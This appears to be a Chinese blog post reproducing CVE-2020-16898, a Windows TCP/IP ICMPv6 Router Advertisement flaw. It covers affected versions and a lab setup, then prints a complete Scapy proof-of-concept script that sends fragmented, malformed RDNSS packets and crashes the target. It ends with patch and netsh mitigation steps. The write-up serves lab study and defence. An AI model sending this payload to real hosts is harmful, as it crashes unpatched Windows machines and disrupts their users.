本地ip 远程ip_CVE202016898TCP/IP远程代码执行漏洞复现

一、漏洞介绍

         该漏洞主要是由于Windows TCP/IP堆栈在处理IMCPv6 Router Advertisement(路由通告)数据包时存在漏洞,远程攻击者通过构造特制的ICMPv6 Router Advertisement(路由通告)数据包时,处理逻辑存在漏洞,导致可以攻击者可以进行远程代码执行。成功利用该漏洞的攻击者可以在目标主机或服务器上执行任意代码。但是该漏洞必须要目标主机启用IPv6协议才可以,否则无法进行利用。

二、影响版本

Microsoft Windows 10 1709

Microsoft Windows 10 1803

Microsoft Windows 10 1809

Microsoft Windows 10 1903

Microsoft Windows 10 1909

Microsoft Windows 10 2004

Microsoft Windows Server 2019

Microsoft Windows Server, version 1903

Microsoft Windows Server, version 1909

Microsoft Windows Server, version 2004

三、漏洞复现

0x01 环境搭建

(1):虚拟机开启IPv6

cc7f6e09c9c6de5c124fc6389a3c878e.png

(2):关闭目标主机防火墙

很重要的一步,两台主机一定要互通,因此需要关闭目标主机防火墙。否则无法ping通。

c002de1d80dcd6c8459196a57087e77a.png

cfd71111eb10f0e0ca3bae20b8666206.png

(3):攻击者主机IP(kali2018):

IPv4:192.168.223.160

IPv6:fd15:4ba5:5a2b:1008:20c:29ff:fe62:aae

fb0d3c2a0aba4cb133feb7dd5ad4d0d5.png

目标主机IP(虚拟机):

IPv4:192.168.223.179

IPv6:fd15:4ba5:5a2b:1008:2060:1ba4:e672:9966

07692bdce512dcc684b24ee07e6ea39c.png

(4):查看目标主机系统版本

be91043f664665ced77bcd52d84f0028.png

主机版本号是1909,在受害主机影响范围之内。

0x02 漏洞复现

(1):payload如下

from scapy.all import * from scapy.layers.inet6 import ICMPv6NDOptEFA, ICMPv6NDOptRDNSS, ICMPv6ND_RA, IPv6, IPv6ExtHdrFragment, fragment6   v6_dst = "fd15:4ba5:5a2b:1008:2060:1ba4:e672:9966" v6_src = "fe80::3d6b:a8c1:521b:b1c7%23"   p_test_half = 'A'.encode()*8 + b"\x18\x30" + b"\xFF\x18" p_test = p_test_half + 'A'.encode()*4   c = ICMPv6NDOptEFA()   e = ICMPv6NDOptRDNSS() e.len = 21 e.dns = [ "AAAA:AAAA:AAAA:AAAA:FFFF:AAAA:AAAA:AAAA", "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA", "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA", "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA", "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA", "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA", "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA", "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA", "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA", "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA" ] aaa = ICMPv6NDOptRDNSS() aaa.len = 8 pkt = ICMPv6ND_RA() / aaa / \       Raw(load='A'.encode()*16*2 + p_test_half + b"\x18\xa0"*6) / c / e / c / e / c / e / c / e / c / e / e / e / e / e / e / e   p_test_frag = IPv6(dst=v6_dst, src=v6_src, hlim=255)/ \               IPv6ExtHdrFragment()/pkt   l=fragment6(p_test_frag, 200)   for p in l:     send(p)

(2):修改目标主机和本机IPv6

6de8cf2bd48e5ea20572cd4c4f1d903e.png

(3):执行payload

python3 CVE-2020-16898-poc.py

   注意:需要使用python3.7版本,如果是使用python3.9版本可能会报错。(本人是这样的)

a54eac4b5629500fa5a0579a3fff5aea.png

(4):目标主机蓝屏

33ea2bcefdbdfd10edc6bf957a6f2621.png

四、修复建议

0x01 打官方补丁

补丁地址如下:

https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-16898

0x02 临时方案

(1):检查所有网络IPv6接口的列表以及相应的索引号

netsh int ipv6 sh int

4531bce559365224a8ebbba3603fda40.png

(2):确认网络接口的RDNSS功能开启情况

netsh int ipv6 sh int 6

55ed0071f05e64cd5e64278e6e049c97.png

(3):关闭RDNSS功能

netsh int ipv6 set int 6 rabaseddnsconfig=disable

406dc8a61f92ffab7172cb42204e54dd.png

(4):再次确认接口的RDNSS功能开启情况

netsh int ipv6 sh int 6

5f54e0e0690f07c3f8177347aaf08f24.png

c55f84ac626515f0635e377ae227a542.png

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值